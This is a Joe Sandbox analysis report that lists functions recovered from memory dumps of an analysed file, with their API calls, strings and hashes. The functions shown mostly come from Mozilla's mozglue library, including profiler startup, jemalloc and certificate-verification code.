Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 80bf913dd8947597270f7b813519a207a0fa7eb787bb6d883ba695d2ee5650bf
Instruction ID: 84cbab3e625f5c703ca2aee7bdcd0b4d96e9050e400d57d2133d1b743e823249
Opcode Fuzzy Hash: 80bf913dd8947597270f7b813519a207a0fa7eb787bb6d883ba695d2ee5650bf
Instruction Fuzzy Hash: 8EE0C27190070222DB2033B66C06B6B329D0B1435DF00052EFA08D7252FE3CF81182AC

Function 004188D0 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

Memory Dump Source

Source File: 00000000.00000002.1669993896.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669980343.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669993896.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.0000000000640000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000007C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670250114.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670448767.00000000008E0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670532967.0000000000A7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670546429.0000000000A7B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 69e24b86b28bd7b079a6e9cca7457a077172f38b64f4847235a515cc131b290b
Instruction ID: 18df4f3d1847af864b4cf5612dd8d404a1e3ff34582bf4e0d6244d1823b45961
Opcode Fuzzy Hash: 69e24b86b28bd7b079a6e9cca7457a077172f38b64f4847235a515cc131b290b
Instruction Fuzzy Hash: B301FBB491420CEBCB14CF98D585BEC7BB5EF04308F248089D9456B350C7785F84DB4A

Non-executed Functions

Function 6CBD5440 Relevance: 140.6, APIs: 54, Strings: 26, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CBD5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CBD54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CBD54BE
__Init_thread_footer.LIBCMT ref: 6CBD54DB

Part of subcall function 6CBFAB3F: EnterCriticalSection.KERNEL32(6CC4E370,?,?,6CBC3527,6CC4F6CC,?,?,?,?,?,?,?,?,6CBC3284), ref: 6CBFAB49
Part of subcall function 6CBFAB3F: LeaveCriticalSection.KERNEL32(6CC4E370,?,6CBC3527,6CC4F6CC,?,?,?,?,?,?,?,?,6CBC3284,?,?,6CBE56F6), ref: 6CBFAB7C

Part of subcall function 6CBFCBE8: GetCurrentProcess.KERNEL32(?,6CBC31A7), ref: 6CBFCBF1
Part of subcall function 6CBFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CBC31A7), ref: 6CBFCBFA

GetCurrentThreadId.KERNEL32 ref: 6CBD54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CBD5516
GetCurrentThreadId.KERNEL32 ref: 6CBD556A
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CBD5577
moz_xmalloc.MOZGLUE(00000070), ref: 6CBD5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CBD5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CBD55E6
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CBD5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CBD5616

Part of subcall function 6CBFAB89: EnterCriticalSection.KERNEL32(6CC4E370,?,?,?,6CBC34DE,6CC4F6CC,?,?,?,?,?,?,?,6CBC3284), ref: 6CBFAB94
Part of subcall function 6CBFAB89: LeaveCriticalSection.KERNEL32(6CC4E370,?,6CBC34DE,6CC4F6CC,?,?,?,?,?,?,?,6CBC3284,?,?,6CBE56F6), ref: 6CBFABD1

GetCurrentThreadId.KERNEL32 ref: 6CBD563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CBD5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CBD567C
free.MOZGLUE(?), ref: 6CBD56AE

Part of subcall function 6CBE5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CBE5EDB
Part of subcall function 6CBE5E90: memset.VCRUNTIME140(6CC27765,000000E5,55CCCCCC), ref: 6CBE5F27
Part of subcall function 6CBE5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CBE5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CBD56E8
GetCurrentThreadId.KERNEL32 ref: 6CBD5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CBD570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CBD5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CBD574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CBD576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CBD5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CBD57B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CBD57CA

Strings

GeckoMain, xrefs: 6CBD5554, 6CBD55D5
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CBD54B9
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CBD5766
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CBD5CF9
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CBD5724
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CBD57AE
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CBD584E
Q^, xrefs: 6CBD57BC
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CBD5D1C
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CBD5717
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CBD5AC9
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CBD5791
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CBD5B38
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CBD548D
MOZ_PROFILER_STARTUP, xrefs: 6CBD55E1
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CBD5749
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CBD57C5
[I %d/%d] profiler_init, xrefs: 6CBD564E
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CBD5BBE
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CBD54A3
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CBD56E3
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CBD5D01
MOZ_BASE_PROFILER_HELP, xrefs: 6CBD5511
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CBD5D2B
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CBD5D24
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CBD5C56

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$Q^$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-2639675677
Opcode ID: 2d6634d675b204350016ca04b54eec1a72f8dfe08a822ff567451b8904ea5b9e
Instruction ID: 14d2cad9efcf532938adfc7e1fb40df1399e6cbe5f74fe7c93b844eae5d74e49
Opcode Fuzzy Hash: 2d6634d675b204350016ca04b54eec1a72f8dfe08a822ff567451b8904ea5b9e
Instruction Fuzzy Hash: B02214B4A047809FEB00AF74845476A7BB4EF8634CF15C529E85A87A41FB31E44DCB67

Function 6CBD6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CBD6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CBD6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CBD6D26

Part of subcall function 6CBDCA10: malloc.MOZGLUE(?), ref: 6CBDCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CBD6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CBD6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CBD6D73
free.MOZGLUE(00000000), ref: 6CBD6D80
CertGetNameStringW.CRYPT32 ref: 6CBD6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CBD6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CBD6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CBD6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CBD6E10
CryptMsgClose.CRYPT32(00000000), ref: 6CBD6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CBD6E34
CreateFileW.KERNEL32 ref: 6CBD6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CBD6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CBD6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CBD709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CBD7103
free.MOZGLUE(00000000), ref: 6CBD7153
CloseHandle.KERNEL32(?), ref: 6CBD7176
__Init_thread_footer.LIBCMT ref: 6CBD7209
__Init_thread_footer.LIBCMT ref: 6CBD723A
__Init_thread_footer.LIBCMT ref: 6CBD726B
__Init_thread_footer.LIBCMT ref: 6CBD729C
__Init_thread_footer.LIBCMT ref: 6CBD72DC
__Init_thread_footer.LIBCMT ref: 6CBD730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CBD73C2
VerSetConditionMask.NTDLL ref: 6CBD73F3
VerSetConditionMask.NTDLL ref: 6CBD73FF
VerSetConditionMask.NTDLL ref: 6CBD7406
VerSetConditionMask.NTDLL ref: 6CBD740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CBD741A
moz_xmalloc.MOZGLUE(?), ref: 6CBD755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CBD7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CBD7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CBD7598
free.MOZGLUE(00000000), ref: 6CBD75AC

Part of subcall function 6CBFAB89: EnterCriticalSection.KERNEL32(6CC4E370,?,?,?,6CBC34DE,6CC4F6CC,?,?,?,?,?,?,?,6CBC3284), ref: 6CBFAB94
Part of subcall function 6CBFAB89: LeaveCriticalSection.KERNEL32(6CC4E370,?,6CBC34DE,6CC4F6CC,?,?,?,?,?,?,?,6CBC3284,?,?,6CBE56F6), ref: 6CBFABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6CBD72C8
SHA256, xrefs: 6CBD6EC0
(, xrefs: 6CBD768A
wintrust.dll, xrefs: 6CBD72CD

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 6cc363253daaa0013e15c7c247b9557b1db61e1ff61ee23c9aada72f6398c0f3
Instruction ID: 578ab825416467f999ee2fc3e0610d576e62ad4057b3fb1204d73941564cec65
Opcode Fuzzy Hash: 6cc363253daaa0013e15c7c247b9557b1db61e1ff61ee23c9aada72f6398c0f3
Instruction Fuzzy Hash: A852D671A002559FEB21DF24CC84BEA77B8EF46708F118599E909AB640EB70BF85CF51

Function 6CC00DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CC00F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CC00F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CC00FB7
EnterCriticalSection.KERNEL32(?), ref: 6CC00FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CC01031
LeaveCriticalSection.KERNEL32(?), ref: 6CC010D0
EnterCriticalSection.KERNEL32(?), ref: 6CC0117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CC01C39
EnterCriticalSection.KERNEL32(6CC4E744), ref: 6CC03391
LeaveCriticalSection.KERNEL32(6CC4E744), ref: 6CC033CD
LeaveCriticalSection.KERNEL32(?), ref: 6CC03431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC03437

Strings

MOZ_CRASH(), xrefs: 6CC03950
Compile-time page size does not divide the runtime one., xrefs: 6CC03946
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CC037BD
MALLOC_OPTIONS, xrefs: 6CC035FE
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CC037A8
: (malloc) Unsupported character in malloc options: ', xrefs: 6CC03A02
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CC03559, 6CC0382D, 6CC03848
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CC03793
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CC037D2
<jemalloc>, xrefs: 6CC03941, 6CC039F1

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 31043f35edd867e0028bb8d06d1bb4ff4515061a84e729219315955067ef4636
Instruction ID: e469d622782f2b18dde726df31a8eb90d2d334f1b592c04a1f75be28ee5695ae
Opcode Fuzzy Hash: 31043f35edd867e0028bb8d06d1bb4ff4515061a84e729219315955067ef4636
Instruction Fuzzy Hash: E4534B71B057018FD704CF29C550616FBE1BF89328F29C6ADE8699B7A1E772E841CB81

Function 6CC234A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC23527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC2355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC235BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC235E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC2363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC23693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC236CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC23703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC2373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC23775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC2378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC23892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC238BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC23902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC23939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC23970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC239EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC23A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC23AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC23E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC23EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC23EE2

Part of subcall function 6CC26180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CC261DD
Part of subcall function 6CC26180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CC2622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC240F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC2412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC24157

Part of subcall function 6CC26180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CC26250
Part of subcall function 6CC26180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC26292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC2441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CC24448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CC2484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CC24863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CC24878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CC24896
free.MOZGLUE ref: 6CC2489F

Strings

, xrefs: 6CC24CD2

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 21c4c30acf99e898eb3f5186c345ba071224ba8cb9319ef3e37af280f6442a5d
Instruction ID: 0fe33a8d645c099e7ddf9175858f50ba3938aab21cef518a7102cbcd5fb577fa
Opcode Fuzzy Hash: 21c4c30acf99e898eb3f5186c345ba071224ba8cb9319ef3e37af280f6442a5d
Instruction Fuzzy Hash: 42F24974908B808FC771CF28C08469AFBF1FF89358F118A5ED99997711EB319896CB42

Function 6CBD64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CBD64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CBD64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CBD6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CBD6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CBD652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CBD671C
GetCurrentProcess.KERNEL32 ref: 6CBD6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CBD672F
GetCurrentProcess.KERNEL32 ref: 6CBD6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CBD6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CBD6A80
GetSystemInfo.KERNEL32(?), ref: 6CBD6ABE
__Init_thread_footer.LIBCMT ref: 6CBD6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CBD6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CBD6AF7

Strings

SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CBD6798
nvdxgiwrap.dll, xrefs: 6CBD6513
detoured.dll, xrefs: 6CBD64DA
nvd3d9wrap.dll, xrefs: 6CBD6500
_etoured.dll, xrefs: 6CBD64ED
user32.dll, xrefs: 6CBD6526

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694090713.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694111638.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1694129191.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbc0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 9198cbcbbdd017cb263690946e4eb104ef79777de545eff883b2b6a1fa0e2422
Instruction ID: d871e22e8071daba17c89151bf8794299dafed1c8a422393d93ce88ade40439e
Opcode Fuzzy Hash: 9198cbcbbdd017cb263690946e4eb104ef79777de545eff883b2b6a1fa0e2422
Instruction Fuzzy Hash: 70F1F3709016698FDB20DF24CC88B9AB7B5EF46318F1586D9D809E7681E731BE84CF91

Function 6CC2C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CC2C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CC2C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CC2C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CC2C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CC2C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CC2CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CC2CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CC2DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CC2DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CC2DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CC2DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CC2DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CC2E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CC2E432
memcpy.VCRUNTIME140(?,?,?), ref: 6CC2E472

Memory Dump Source

Source File: 00000000.00000002.1694035899.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000000.00000002.1694020581.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
